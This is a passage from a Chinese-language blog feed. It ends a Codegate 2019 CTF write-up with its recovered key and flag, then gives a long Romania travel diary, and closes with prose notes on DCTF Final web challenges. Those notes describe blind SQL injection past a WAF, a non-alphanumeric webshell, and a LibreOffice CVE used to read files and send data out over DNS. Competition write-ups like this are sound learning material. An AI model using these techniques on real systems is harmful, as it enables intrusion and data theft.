<p>最後撈出來是: <code>key{J3qBeP1N9q2w0Pja7kh7Mkh51F6dVdzUcW3eIV4pQwCDgiQqx4N9HnJWBKvF1nGBFoza+AZmW0q9/WKLYeSrVw==}</code></p>
<p>很明顯就是要我們用admin.php撈出來的key去解AES</p>
<p>(這裡卡了一小段時間，因為舊版code給的key是錯的= =)</p>
<p>成功解出來，就是FLAG惹: <code>FLAG{Lif2_i5_n0t_alw4ys_what_One_lIke}</code></p>
<p>p.s. 賽後看twitter，有人說這題還是抄襲某場CTF，科科</p>
<hr>
<p><img src="https://i.imgur.com/mbVoFQQ.jpg" alt="OAO"></p>
<p>一開始走進會場，看到這場景，差點以為走錯場惹</p>
<p>韓國文化跟台灣果然不太一樣(?</p>
<p><br></p>
<p><img src="https://i.imgur.com/LCSStfB.jpg" alt="codegate2"></p>
<p>韓國版金盾</p>
]]></content>
    <summary type="html">
    <![CDATA[<h1 id="Codegate_Final_2019"><a href="#Codegate_Final_2019" class="headerlink" title="Codegate Final 2019"></a>Codegate Final 2019</h1><p><img src="https://i.imgur.com/XWUNmT4.png" alt="FinalScoreboard"></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>這場初賽和Balsn一起打，雖然初賽題目和環境各種被罵爆，不過最後還是打進決賽了XD</p>
<p>決賽最後的結果蠻可惜的，前半場我們都維持在前3，後面可能大家都想睡覺就沒力惹</p>
<p><br></p>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[羅馬尼亞遊記 & DCTF Final心得]]></title>
    <link href="http://blog.kaibro.tw/2018/11/15/%E7%BE%85%E9%A6%AC%E5%B0%BC%E4%BA%9E%E9%81%8A%E8%A8%98-DCTF-Final%E5%BF%83%E5%BE%97/"/>
    <id>http://blog.kaibro.tw/2018/11/15/羅馬尼亞遊記-DCTF-Final心得/</id>
    <published>2018-11-15T05:32:32.000Z</published>
    <updated>2018-11-19T16:31:12.000Z</updated>
    <content type="html"><![CDATA[<p><img src="https://i.imgur.com/f928yat.png" alt=""></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>因為DCTF初賽時運氣好，進了決賽</p>
<p>也很幸運地申請到了各種經費，所以能夠DoubleSigma全隊五個人都出國去羅馬尼亞比賽</p>
<p>這篇文章會大部分著重在羅馬尼亞一個禮拜的記錄</p>
<p>比賽方面的細節會稍微少一點</p>
<p>(圖多，慎入)<br><a id="more"></a></p>
<h2 id="u884C_u7A0B_u898F_u5283"><a href="#u884C_u7A0B_u898F_u5283" class="headerlink" title="行程規劃"></a>行程規劃</h2><p>除了比賽兩天外，其他幾天的行程都是我規劃的</p>
<p>也很幸運地，沒有發生啥重大的突發狀況，基本上所有規劃的行程景點都有走完</p>
<p>(如果有要去城堡參觀，記得注意開放時間)</p>
<p>原本還想塞Sibiu等城市的行程進來，但想說有點趕就改掉了</p>
<p>事後也證實，沒有塞進來是對的，這樣子的行程就很趕了XD</p>
<p>以下是行程的細節:</p>
<h3 id="11/7"><a href="#11/7" class="headerlink" title="11/7"></a>11/7</h3><ul>
<li>下午1:10下飛機</li>
<li>搭Uber到Airbnb住宿處 (在DCTF會場旁)<ul>
<li>56.34 Lei</li>
</ul>
</li>
<li>隔壁Chicken Staff吃雞 + Mega Image買零食、食材、飲料</li>
<li>Airbnb廚房DIY Party time</li>
</ul>
<h3 id="11/8"><a href="#11/8" class="headerlink" title="11/8"></a>11/8</h3><ul>
<li>早起DCTF會場集合</li>
<li>中午比賽開始</li>
</ul>
<h3 id="11/9"><a href="#11/9" class="headerlink" title="11/9"></a>11/9</h3><ul>
<li>凌晨3~4點比賽中，隊上4/5人回房間睡覺</li>
<li>天亮睡飽後，回會場繼續打比賽</li>
<li>中午比賽結束</li>
<li>回Airbnb放東西+買零食開趴</li>
<li>傍晚回會場等比賽結果</li>
<li>搭Uber到old town</li>
<li>爽吃Caru’ cu bere</li>
<li>Old town亂晃+拍照</li>
<li>搭Uber回去睡覺</li>
</ul>
<h3 id="11/10"><a href="#11/10" class="headerlink" title="11/10"></a>11/10</h3><ul>
<li>早起退房</li>
<li>人民宮外圍亂晃拍照</li>
<li>搭Uber到North Railway Station搭火車</li>
<li>Sinaia車站下車</li>
<li>Peles Castle參觀拍照</li>
<li>搭火車到Brasov</li>
<li>搭Uber到Airbnb住宿處(廣場中心旁)</li>
<li>旁邊餐廳吃飯</li>
</ul>
<h3 id="11/11"><a href="#11/11" class="headerlink" title="11/11"></a>11/11</h3><ul>
<li>早起隔壁餐廳吃早餐</li>
<li>黑教堂參觀拍照</li>
<li>走到Tampa山下搭纜車</li>
<li>Tampa山頂拍照</li>
<li>Brasov市區到處拍拍</li>
<li>爽吃KFC</li>
</ul>
<h3 id="11/12"><a href="#11/12" class="headerlink" title="11/12"></a>11/12</h3><ul>
<li>早起退房</li>
<li>搭Uber到Brasov火車站</li>
<li>寄放行李</li>
<li>到2號公車站搭車去布蘭城堡</li>
<li>布蘭城堡參觀拍照</li>
<li>旁邊餐廳吃飯喝酒</li>
<li>回火車站搭車往Bucharesti</li>
<li>搭Uber去Airbnb住宿處睡覺</li>
</ul>
<h3 id="11/13"><a href="#11/13" class="headerlink" title="11/13"></a>11/13</h3><ul>
<li>早起退房</li>
<li>搭Uber回機場</li>
<li>飛荷蘭轉機</li>
<li>轉機五小時入境+搭火車到市區亂晃拍照</li>
<li>回機場飛台灣</li>
</ul>
<p><br></p>
<p>簡易版行程:</p>
<p>DCTF -&gt; Sinia + Peles Castle -&gt; Brasov -&gt; 黑教堂 -&gt; Tampa山 -&gt; Bran Castle -&gt; 荷蘭</p>
<p><br></p>
<h2 id="u63DB_u9322"><a href="#u63DB_u9322" class="headerlink" title="換錢"></a>換錢</h2><p>羅馬尼亞的貨幣是Lei</p>
<p>基本上Lei都是到那邊才換，去都只帶歐元</p>
<p>我們是在機場挑了一個聽說匯率不錯的ATM，把歐元換成Lei</p>
<p>其實不用換太多，因為那邊物價蠻低的</p>
<p>換太多的話，回去還要換歐元，有點虧</p>
<p>我只換了1300~1500 Lei</p>
<p>一個禮拜完全用不完，大概只用了一半</p>
<p>(1 Lei = 1 Ron 約等於 7~8台幣)</p>
<p><br></p>
<h2 id="u4EA4_u901A"><a href="#u4EA4_u901A" class="headerlink" title="交通"></a>交通</h2><p>這邊的交通很恐怖</p>
<p>羅馬尼亞人開車都很兇狠，各種硬超車+迴轉</p>
<p>尤其是他們都開手排車，有時換檔沒換好，整個車震得跟按摩椅一樣</p>
<p>喇叭聲更是此起彼落，懷疑他們根本把喇叭當作油門在按</p>
<p>某天早上睡到一半，還被窗外的喇叭聲叫醒</p>
<p>也很常看到開車開一開就搖下窗戶互罵XDD</p>
<p><br></p>
<p>然後有些地方的斑馬線不會有紅綠燈</p>
<p>這種他們好像都要強制禮讓行人</p>
<p>所以很常有車子在斑馬線急煞</p>
<p><br></p>
<p>如果中長距離要搭車的話，非常不推計程車之類的</p>
<p>尤其是火車站旁邊那些主動來招人的</p>
<p>很常聽到各種被坑的案例，例如Lei變歐元計費、每個人都收高額車費…等</p>
<p>最保險的還是Uber，只要卡片有開通國外交易，就能爽爽叫Uber</p>
<p>我這一個禮拜叫Uber花的錢，總共只有184 Lei (相當於台幣1374)</p>
<p>然後一台車可以載2~3個人，所以平均下來其實根本沒花多少錢</p>
<p><br></p>
<p>如果是跨城市的移動的話，我們是搭IR</p>
<p>火車站可以選擇要買R或IR</p>
<p>不太確定R跟IR確切的區別是啥</p>
<p>不過可以知道的是IR比R快非常多，蠻推薦搭IR的，能省下很多時間</p>
<p>(小插曲: 我們回程時，一開始買成R，後來櫃台很好心的讓我們補差價換IR)</p>
<p>(小插曲2: 我們在首都買火車票時，有兩個看起來壞壞的人(一個高瘦，一個矮胖)，很好心協助我們買票，買完還想帶我們去搭車的車廂位置。但由於熱心到有點不太正常，我們後來就拒絕他們帶路了，所以最後還是不知道他們到底是好人還壞人…)</p>
<p><img src="https://i.imgur.com/S28CyAh.jpg" alt=""></p>
<p>車票非常大張，從Bucharesti坐到Sinaia要39.5 Lei</p>
<p>然後羅馬尼亞都是先上車，後驗票</p>
<p>火車裡面有點類似哈利波特電影中那樣，有的會有一個一個的包廂，很酷</p>
<p><br></p>
<p><img src="https://i.imgur.com/ZFFFaUQ.jpg" alt=""></p>
<p>(不小心就黑了售票機)</p>
<p><br></p>
<p><img src="https://i.imgur.com/pcEBUNy.jpg" alt=""></p>
<p>Sinaia火車站超美</p>
<p><br></p>
<p><img src="https://i.imgur.com/FIlbOhK.png" alt=""></p>
<p><img src="https://i.imgur.com/TDPAL5s.png" alt=""></p>
<p>首都的公車有的會長著兩根詭異的天線</p>
<p><br></p>
<p><img src="https://i.imgur.com/hko0QLq.jpg" alt=""></p>
<p>羅馬尼亞版Youbike?</p>
<p><br></p>
<h2 id="u6CBB_u5B89"><a href="#u6CBB_u5B89" class="headerlink" title="治安"></a>治安</h2><p>其實治安還算不錯，去之前有查了一下資料</p>
<p>大部分都是說要小心路邊的吉普賽人</p>
<p>不過其實我們在那邊也分不太出來哪些是吉普賽人</p>
<p>比較要注意的應該是車站之類的地方，尤其是晚上</p>
<p>我們就遇到一個很奇怪的小孩</p>
<p>一直繞著我們，用很挑釁的語氣跳針說hello</p>
<p>然後比出要錢的手勢</p>
<p>沒看過那麼欠揍的死小孩</p>
<p><br></p>
<p>其他的話，大部分都還好</p>
<p>比較有趣的是，亞洲面孔走在路上，會非常明顯感受到全世界都在看你</p>
<p>我在想是不是因為比較少亞洲人會到羅馬尼亞旅遊的關係</p>
<p>一開始還以為是大家對亞洲人有惡意還是怎樣的</p>
<p>可是待久發現其實也有沒特別的歧視之類的行為</p>
<p>甚至走在路上，有時候都會有人主動打招呼XD</p>
<p><br></p>
<h2 id="u98F2_u98DF"><a href="#u98F2_u98DF" class="headerlink" title="飲食"></a>飲食</h2><p>在出發去羅馬尼亞之前，我們還很擔心會飲食習慣差太多</p>
<p>結果來了才發現</p>
<p>這裡的食物，不但大部分都超級好吃，還便宜到爆</p>
<p>尤其是農產品、肉類等，價格更是不科學的低</p>
<p>羅馬尼亞沒有啥7-11之類的便利商店，但是有Mega Image之類的雜貨店</p>
<p>我們很多糧食來源都是從那邊買來的</p>
<p>如果要買牛奶的話，唯一推薦ZUZU，爆幹好喝</p>
<p><br></p>
<p>如果是去餐廳吃飯，要注意它們上菜和點餐時間都拖很久</p>
<p>所以行程很密集的，不建議排餐廳，因為很容易吃1~2小時以上</p>
<p><br></p>
<p><img src="https://i.imgur.com/zjD9e27.jpg" alt=""></p>
<p>第一天的宵夜<br>樓下就是Chicken Staff，所以買了一堆炸雞(雖然店員好像不太友善，但最後還是買到了)<br>和一堆Mega Image買的牛奶、飲料、披薩、培根</p>
<p><br></p>
<p><img src="https://i.imgur.com/Th8RFJK.jpg" alt=""></p>
<p>Chicken Staff賣的食物，肉超好吃，很推</p>
<p><br></p>
<p><img src="https://i.imgur.com/l9fGSzs.jpg" alt=""></p>
<p><img src="https://i.imgur.com/RdfpExK.jpg" alt=""></p>
<p><img src="https://i.imgur.com/VDZETkx.jpg" alt=""></p>
<p>比賽會場提供的餐點，他的馬鈴薯泥超好吃，很香</p>
<p><br></p>
<p><img src="https://i.imgur.com/wN8HO5N.jpg" alt=""></p>
<p><img src="https://i.imgur.com/0znGXye.jpg" alt=""></p>
<p>從Mega Image買食材自己煮的早餐</p>
<p><br></p>
<p>比完賽當天，我們跑去吃了Bucharesti最有名的百年啤酒餐廳 - Caru’cu Bere</p>
<p>店內裝潢得超特別，相機停不下來</p>
<p>裡頭的食物其實大部分都不算貴，大概跟台北一般餐廳價錢差不多</p>
<p>而且好吃，份量又超大</p>
<p>吃到一半，還會有人在樓下跳舞表演，很有趣XD</p>
<p><br></p>
<p><img src="https://i.imgur.com/8iZYbMP.jpg" alt=""></p>
<p>Caru’cu bere的豬腳，超級浮誇，超級大<br>一個人根本不可能吃完…<br>不過是真的很好吃，豬腳皮很酥脆，肉很軟嫩<br>除非你對自己的食量很有自信，不然建議2~3人分著吃</p>
<p><br></p>
<p><img src="https://i.imgur.com/QlBrXVr.jpg" alt=""></p>
<p>Caru’cu bere的甜點，超讚</p>
<p><br></p>
<p><img src="https://i.imgur.com/qp1QFwy.jpg" alt=""></p>
<p>在Brasov廣場旁餐廳點的雞胸肉</p>
<p><br></p>
<p><img src="https://i.imgur.com/ErlESOO.jpg" alt=""></p>
<p>Brasov早餐店的棉花糖巧克力牛奶，超級好喝~~</p>
<p><img src="https://i.imgur.com/fCGwdJR.jpg" alt=""></p>
<p>同一間早餐店的英式早餐</p>
<p><br></p>
<p><img src="https://i.imgur.com/aIiryxT.jpg" alt=""></p>
<p>公車站旁賣的食物</p>
<p><br></p>
<p><img src="https://i.imgur.com/8fMMRgh.jpg" alt=""></p>
<p>KFC大餐，可惜沒賣蛋塔(沒蛋塔的KFC根本不是KFC QQ)</p>
<p><br></p>
<p><img src="https://i.imgur.com/9a68kC2.jpg" alt=""></p>
<p>Bran Castle旁邊餐廳的雞肉料理</p>
<p><br></p>
<p><img src="https://i.imgur.com/4pkzEAY.jpg" alt=""></p>
<p><img src="https://i.imgur.com/gP14mTR.jpg" alt=""></p>
<p>Bucharesti機場的美味甜點</p>
<p><br></p>
<h2 id="u9152"><a href="#u9152" class="headerlink" title="酒"></a>酒</h2><p>這邊的酒因為很便宜，所以身為酒鬼，來羅馬尼亞後就是各種喝酒</p>
<p><img src="https://i.imgur.com/CnXhGQF.jpg" alt=""></p>
<p>Tampa山的啤酒，爬完山後來一杯冰涼的啤酒超過癮</p>
<p><br></p>
<p><img src="https://i.imgur.com/VH3pWdI.png" alt=""></p>
<p>ursus啤酒 (聽說是羅馬尼亞最流行的酒，應該是羅馬尼亞版的台啤吧)</p>
<p><br></p>
<p><img src="https://i.imgur.com/gZhvd4A.png" alt=""></p>
<p>pina colada，這杯超好喝，Brasov廣場旁餐廳點的</p>
<p><br></p>
<p><img src="https://i.imgur.com/8Uz00lJ.png" alt=""></p>
<p>台灣也買的到的蘋果酒，不過因為太便宜了，所以就順手買了好幾瓶XD</p>
<p><br></p>
<p><img src="https://i.imgur.com/jItBIU3.jpg" alt=""></p>
<p>Caru’cu bere的自家啤酒，很順口</p>
<p><br></p>
<p><img src="https://i.imgur.com/nZXBZcL.png" alt=""></p>
<p>這杯不是我點的，ddd亂點點到的，一點就點到長島冰茶XD<br>這杯比我之前喝過的長島冰茶還小杯一點，可是還是很猛<br>後來被毛哥灌掉惹</p>
<p><br></p>
<p><img src="https://i.imgur.com/CaCqJdV.png" alt=""></p>
<p>Mimosa，喝起來很甜，還不錯喝</p>
<p><br></p>
<p><img src="https://i.imgur.com/Qp7rZTC.png" alt=""></p>
<p>不知名的啤酒，被我當早餐喝掉了，味道普普</p>
<p><br></p>
<h2 id="u4F4F_u5BBF"><a href="#u4F4F_u5BBF" class="headerlink" title="住宿"></a>住宿</h2><p>這次我們的住宿全部都是訂Airbnb</p>
<p>Airbnb的好處是，價錢很便宜，CP值很高</p>
<p>總共訂了三間</p>
<p>Bucharest兩間+Brasov一間</p>
<p>第一家Bucharest會場旁的最滿意，女房東人很好，很細心的講解每個地方</p>
<p>房子超大也超級美，還帶有文青風</p>
<p>有趣的是，他電梯居然是那種要自己手動拉門關門的那種古老電梯XD</p>
<p><img src="https://i.imgur.com/lV3T4o2.png" alt=""></p>
<p><img src="https://i.imgur.com/vJIIYXg.jpg" alt=""></p>
<p>廚房，超棒，各種廚具應有盡有</p>
<p><img src="https://i.imgur.com/qv87AbC.png" alt=""></p>
<p>不知道是不是因為早期共產統治治安不好的關係，這邊的鎖都很多道，複雜到一看就覺得很安全</p>
<p><br></p>
<p>第二間、第三間，相對就沒那麼好了，甚至連房東本人都看不到，頂多看到管理員</p>
<p>但第二間也超美，地理位置超棒，在Brasov廣場旁邊而已</p>
<p><img src="https://i.imgur.com/kj7zVr2.jpg" alt=""></p>
<p><img src="https://i.imgur.com/Phwwq8Z.jpg" alt=""></p>
<p><img src="https://i.imgur.com/1E0Qmzi.jpg" alt=""></p>
<p><br></p>
<h2 id="u5EC1_u6240"><a href="#u5EC1_u6240" class="headerlink" title="廁所"></a>廁所</h2><p>羅馬尼亞有些地方的廁所是要收錢的</p>
<p>例如Sinaia車站的廁所、Tampa山纜車旁的廁所都要錢</p>
<p><img src="https://i.imgur.com/VUtVAZP.jpg" alt=""></p>
<p>上廁所還會開這張，看起來像收據的東西</p>
<p><br></p>
<h2 id="u884C_u674E_u5BC4_u653E"><a href="#u884C_u674E_u5BC4_u653E" class="headerlink" title="行李寄放"></a>行李寄放</h2><p>羅馬尼亞的火車站大部分都有寄放行李的地方</p>
<p>像我們去Peles Castle時，行李就是寄放在Sinaia車站(是管廁所收費的阿姨在處理的)</p>
<p>去Bran Castle時，行李就寄放在Brasov車站</p>
<p><img src="https://i.imgur.com/QZd1nwe.png" alt=""></p>
<p><img src="https://i.imgur.com/lbd7cK5.png" alt=""></p>
<p><br></p>
<h2 id="u666F_u9EDE"><a href="#u666F_u9EDE" class="headerlink" title="景點"></a>景點</h2><h3 id="u4EBA_u6C11_u5BAE"><a href="#u4EBA_u6C11_u5BAE" class="headerlink" title="人民宮"></a>人民宮</h3><p>據說是全世界僅次於五角大樓的第二大建築物</p>
<p><img src="https://i.imgur.com/9lZGuID.jpg" alt=""></p>
<p>這只是側面而已，正面更寬廣更大</p>
<p>我們繞了30分鐘，還是繞不到它的正面，超大XD</p>
<h3 id="Peles_Castle"><a href="#Peles_Castle" class="headerlink" title="Peles Castle"></a>Peles Castle</h3><p>這是一棟非常美的城堡，非常值得來參觀</p>
<p>Peles Castle的位置在Sinaia車站出來，旁邊的公園一直往上走就到了</p>
<p>我們一開始以為距離很近</p>
<p>結果沒想到爆幹遠，而且又是上坡，走到腳斷掉</p>
<p>最後雖然在表定閉館時間內趕到，但還是沒進去城堡內部參觀，不知道是提早關門還是怎樣的，有點可惜</p>
<p>真心建議想去的人，可以搭計程車或公車、接駁車之類的</p>
<p><img src="https://i.imgur.com/GYlNbrW.jpg" alt=""></p>
<p><img src="https://i.imgur.com/nHAWv5D.jpg" alt=""></p>
<p><img src="https://i.imgur.com/vrPjMuN.jpg" alt=""></p>
<p><img src="https://i.imgur.com/ZHXtlpZ.jpg" alt=""></p>
<p>還內建網美牆</p>
<p><img src="https://i.imgur.com/Yc0y05v.jpg" alt=""></p>
<p>遇到羅馬尼亞小屁孩校外教學，亞洲人根本被當動物園裡的動物看</p>
<p><img src="https://i.imgur.com/DPoyYJf.jpg" alt=""></p>
<p>隔壁的另一個城堡</p>
<h3 id="u9ED1_u6559_u5802"><a href="#u9ED1_u6559_u5802" class="headerlink" title="黑教堂"></a>黑教堂</h3><p><img src="https://i.imgur.com/cEDRMLl.jpg" alt=""></p>
<p><img src="https://i.imgur.com/McdwGaV.jpg" alt=""></p>
<p>真的很大</p>
<p><img src="https://i.imgur.com/0nzNa0b.jpg" alt=""></p>
<p>可以付錢進去參觀的樣子，但我們沒進去</p>
<h3 id="Brasov_u57CE_u5E02_u666F_u89C0"><a href="#Brasov_u57CE_u5E02_u666F_u89C0" class="headerlink" title="Brasov城市景觀"></a>Brasov城市景觀</h3><p><img src="https://i.imgur.com/I3XH0l0.jpg" alt=""></p>
<p>我們住的地方拍出去的樣子</p>
<p><img src="https://i.imgur.com/mTe4o5V.jpg" alt=""></p>
<p>廣場全景照(中間的人時空扭曲惹)</p>
<p><img src="https://i.imgur.com/YkGFY0L.jpg" alt=""><br>很歐洲味的樹和房子</p>
<p><img src="https://i.imgur.com/FAWZqG7.jpg" alt=""><br>不知道啥來頭的城門</p>
<p><img src="https://i.imgur.com/Ds5jwNt.jpg" alt=""><br>山上那一長條就是Tampa山纜車，右上Brasov也是我們有去拍照的地方</p>
<p><img src="https://i.imgur.com/RlxZjm7.jpg" alt=""></p>
<p><img src="https://i.imgur.com/meLhcI7.jpg" alt=""></p>
<h3 id="u6478_u4E73_u5DF7"><a href="#u6478_u4E73_u5DF7" class="headerlink" title="摸乳巷"></a>摸乳巷</h3><p>其實就是一條很窄的巷子</p>
<p><img src="https://i.imgur.com/DYuhrBi.jpg" alt=""></p>
<p><img src="https://i.imgur.com/tNv5JGy.jpg" alt=""></p>
<p><img src="https://i.imgur.com/j6RDZ1l.jpg" alt=""></p>
<h3 id="Tampa_u5C71"><a href="#Tampa_u5C71" class="headerlink" title="Tampa山"></a>Tampa山</h3><p>Tampa山就是Brasov能看見的最高那座山</p>
<p>上面有一個很大的Brasov牌子 (應該是模仿hollywood)</p>
<p><img src="https://i.imgur.com/2bOxfEh.jpg" alt=""><br>搭纜車的地方，旁邊有一些賣玉米、爆米花的攤位 (真的有人會想搭纜車或爬山時，吃爆米花嗎?)</p>
<p><img src="https://i.imgur.com/S6fDN4V.jpg" alt=""><br><img src="https://i.imgur.com/P6TpKxO.jpg" alt=""><br>纜車很高，其實不想搭纜車也可以徒步爬山上去</p>
<p><img src="https://i.imgur.com/RZ2bOKQ.jpg" alt=""><br>上去之後，走一小段路，可以走到Brasov的牌子後面</p>
<p><img src="https://i.imgur.com/KgW9gV3.jpg" alt=""><br><img src="https://i.imgur.com/P49iWQ8.jpg" alt=""><br><img src="https://i.imgur.com/QH5zS7i.jpg" alt=""><br>山上的風景不錯</p>
<p><img src="https://i.imgur.com/pQ7m87A.jpg" alt=""><br>似乎有機會遇到一些野生動物</p>
<p><img src="https://i.imgur.com/ZgCFNDh.jpg" alt=""><br>大狗</p>
<h3 id="u5E03_u862D_u57CE_u5821__28Bran_Castle_29"><a href="#u5E03_u862D_u57CE_u5821__28Bran_Castle_29" class="headerlink" title="布蘭城堡 (Bran Castle)"></a>布蘭城堡 (Bran Castle)</h3><p>吸血鬼的發源地</p>
<p>據說是因為某本小說的背景就是以這棟城堡為背景</p>
<p>然後裡面的德古拉吸血鬼讓這棟城堡因此爆紅</p>
<p>所以附近很明顯的可以感受到商業化的各種吸血鬼裝飾、商品</p>
<p><img src="https://i.imgur.com/9GTICSN.jpg" alt=""></p>
<p><img src="https://i.imgur.com/MPjRkXN.jpg" alt=""><br>要先買票</p>
<p><br></p>
<p><img src="https://i.imgur.com/JPYb8f6.jpg" alt=""><br>票價</p>
<p><br></p>
<p><img src="https://i.imgur.com/JBwzurq.jpg" alt=""><br>城堡往外看的風景很讚</p>
<p><br></p>
<p><img src="https://i.imgur.com/dQ9Myni.jpg" alt=""></p>
<p><img src="https://i.imgur.com/33wfyMB.jpg" alt=""></p>
<p><img src="https://i.imgur.com/j0aDQXf.jpg" alt=""></p>
<p><img src="https://i.imgur.com/5JYvWZW.jpg" alt=""><br>大砲上頭居然有VOC</p>
<p><br></p>
<p><img src="https://i.imgur.com/POyG9Ck.jpg" alt=""><br>城堡內的結構其實有點複雜，上上下下的</p>
<p><br></p>
<p><img src="https://i.imgur.com/k7WZvRb.jpg" alt=""><br>傳說中的鐵處女</p>
<p><img src="https://i.imgur.com/Fb3y3C3.jpg" alt=""><br>有一段路會經過一個詭異的狹小步道</p>
<p><img src="https://i.imgur.com/OyJiqaV.jpg" alt=""><br>整棟城堡布置了很多假蜘蛛絲、蝙蝠、骷髏頭，整個破壞美感</p>
<p><img src="https://i.imgur.com/SSVCQZJ.jpg" alt=""><br>紀念品店賣了很多很中二的東西 (我也手癢買了一個中二杯子)</p>
<p><br></p>
<p><img src="https://i.imgur.com/Q7nPxy6.jpg" alt=""><br>如果要搭公車回去Brasov，找這個百事可樂就對惹<br>(上網查資料說要找紅色fastfood招牌，但我們那天去的時候那塊紅色招牌其實收起來，很不明顯)</p>
<p><br></p>
<p><img src="blob:https://imgur.com/a5b3eb92-c1c9-4c4e-bfde-e48e151cc1a3" alt=""><br>公車票，是上車時跟司機買的，公車站到Bran Castle票價8 lei</p>
<p><img src="https://i.imgur.com/TYXX527.jpg" alt=""><br>去Bran Castle，搭這班車就對惹，大概40分鐘就到了<br>然後公車站不是在火車站旁邊那個<br>要找2號公車站<br>我們是從火車站搭Uber搭一小段路才到的</p>
<p><br></p>
<h3 id="u8377_u862D"><a href="#u8377_u862D" class="headerlink" title="荷蘭"></a>荷蘭</h3><p>我們利用荷蘭等轉機的短短五個小時</p>
<p>迅速入境，然後買車票，衝往Amsterdam Central亂晃</p>
<p><br></p>
<p>攻略:<br>下飛機後，順著指示，往Arrival hall走<br>然後入境，入境有可能會問你要幹嘛之類的，然後轉機的話通常有兩張機票，要給他看<br>我是直接跟他說我要去拍個照，他就放我進去惹<br>一入境後，應該會看到一堆黃色機器，那個就是火車票販賣機，可以投歐元硬幣或刷卡買票，建議買當天來回比較方便<br>接著往exit走，會看到很大的大廳，大廳中央就是通往地下火車站的手扶梯<br>下去之後就看準方向搭車就行，車還蠻密集的，搭到Amsterdam Central大概10幾分鐘</p>
<p><br></p>
<p>比較可惜的是，因為時間有點趕，所以比較沒看到那些荷蘭特有的coffee shop或紅燈區<br>不過路上不時都飄著大麻味就是惹…</p>
<p><img src="https://i.imgur.com/0IUovjW.jpg" alt=""><br>Amsterdam Central車站</p>
<p><img src="https://i.imgur.com/cDnRoFx.jpg" alt=""><br>這裡景色美到像一幅油畫</p>
<p><img src="https://i.imgur.com/8Po5DQx.jpg" alt=""><br><img src="https://i.imgur.com/TkAFK7F.jpg" alt=""><br>荷蘭街道</p>
<p><img src="https://i.imgur.com/0ViNlP9.jpg" alt=""><br><img src="https://i.imgur.com/ky4qbK8.jpg" alt=""><br>奇怪的店</p>
<p><img src="https://i.imgur.com/1PyB41F.jpg" alt=""><br>如果要去Amsterdam Central，記得在機場買票<br>可以找黃色的自動售票機，買來回票(Day return)<br>理論上進出站都要刷，但我們進站都沒刷，也不會有啥問題</p>
<p><img src="https://i.imgur.com/z2EzNIn.jpg" alt=""><br>機場內</p>
<p><br></p>
<h2 id="u8C93"><a href="#u8C93" class="headerlink" title="貓"></a>貓</h2><p>不知道為啥，羅馬尼亞超多貓的，感覺都是野貓</p>
<p>那就放幾張貓咪照吧</p>
<p><img src="https://i.imgur.com/pARziLX.jpg" alt=""></p>
<p><img src="https://i.imgur.com/Qm7m5Ls.jpg" alt=""><br>一直討食物的黑白貓</p>
<p><img src="https://i.imgur.com/DVouvm8.jpg" alt=""><br>很兇的看門貓</p>
<p><img src="https://i.imgur.com/co8v0vk.jpg" alt=""><br>peles castle旁不知道在幹嘛的黑貓</p>
<p><img src="https://i.imgur.com/JzgWqgv.jpg" alt=""></p>
<p><img src="https://i.imgur.com/PvU5zt8.jpg" alt=""></p>
<p><br></p>
<h2 id="u5176_u4ED6"><a href="#u5176_u4ED6" class="headerlink" title="其他"></a>其他</h2><p><img src="https://i.imgur.com/02Ouu7C.jpg" alt=""><br>羅馬尼亞夾娃娃機</p>
<p><img src="https://i.imgur.com/8Kx8Enh.jpg" alt=""><br>很多車子後面都會長香菇</p>
<p><img src="https://i.imgur.com/nBnwKkw.jpg" alt=""><br>熟悉的Logo(?)</p>
<p><img src="https://i.imgur.com/fzgt7p9.jpg" alt=""><br>我們在Tampa山挖出一塊磚頭</p>
<p><img src="https://i.imgur.com/02d2wo6.jpg" alt=""><br>一群在火車站要錢的死小孩</p>
<p><img src="https://i.imgur.com/e2evTq9.jpg" alt=""><br>這是一個充滿塗鴉的國家</p>
<p><br></p>
<h2 id="DCTF_Final"><a href="#DCTF_Final" class="headerlink" title="DCTF Final"></a>DCTF Final</h2><p><img src="https://i.imgur.com/b0HbPJJ.jpg" alt=""></p>
<p>DEFCAMP的規模其實比想中的小很多，大概比HITCON再小一點(吧</p>
<p>完全沒有想逛的衝動，跟DEFCON差好多</p>
<p>比賽場地在Hacking Village的二樓</p>
<p>比賽時間只有24小時</p>
<p>所以大部分隊伍幾乎都不睡覺</p>
<p>但我們隊因為住非常近，所以半夜時就回住宿處睡飽飽</p>
<p>題目的話，感覺除了Binary外品質還行</p>
<p>Web的話，兩題黑箱，一題PHP</p>
<p>PHP題的話，考最近蠻常見的非英數字webshell變形</p>
<p>不過我還是卡了一段時間，腦袋真的快生鏽惹</p>
<p>細節可以看我的<a href="https://github.com/w181496/CTF/tree/master/dctf2018-final/Scribbles" target="_blank" rel="external">Writeup</a></p>
<p><br></p>
<p>另外兩題黑箱，一題是Laravel寫的Ticket system</p>
<p>可以註冊帳號，然後從原始碼可以看到Ticket debug連結</p>
<p>進去之後，可以拿到ticket</p>
<p>ticket上面會有一串看起來像某種編碼的亂碼 (所以我一開始以為是Crypto Web，踹了許久，還去翻Laravel Source…)</p>
<p>後來發現ticket id好像不太對勁</p>
<p>id加一個單引號 =&gt; 噴500</p>
<p>id加兩個單引號 =&gt; 正常</p>
<p>id加三個單引號 =&gt; 噴500</p>
<p>然後踹幾個關鍵字，會發現噴waf error</p>
<p>基本上就可以確定是SQL Injection之類的題目了</p>
<p>只是他擋蠻多東西的，踹了很久才踹出來</p>
<p>用Boolean based SQL Injection加上猜欄位名就爆出來惹</p>
<p><br></p>
<p>而另外一題黑箱Web</p>
<p>他只有一個上傳介面，給你上傳Word, xlsx, …等文件格式，會轉成PDF</p>
<p>一開始還以為是GhostScript老梗</p>
<p>後來官方給提示才知道，原來是Libreoffice CVE-2018-6871</p>
<p>可以讀檔，然後用DNS把資料往外傳 (http被防火牆擋)</p>
<p>但最後官方題目好像爛掉，本地成功讀檔，遠端沒辦法復現</p>
<p>然後就一直爛到比賽結束都沒修好，0隊解，囧</p>
<p><br></p>
<p>另外，區塊鍊的題目，有跟隊友一起解</p>
<p>解法超有趣 (我們是莫名其妙解出來後，才搞懂解法的XDD</p>
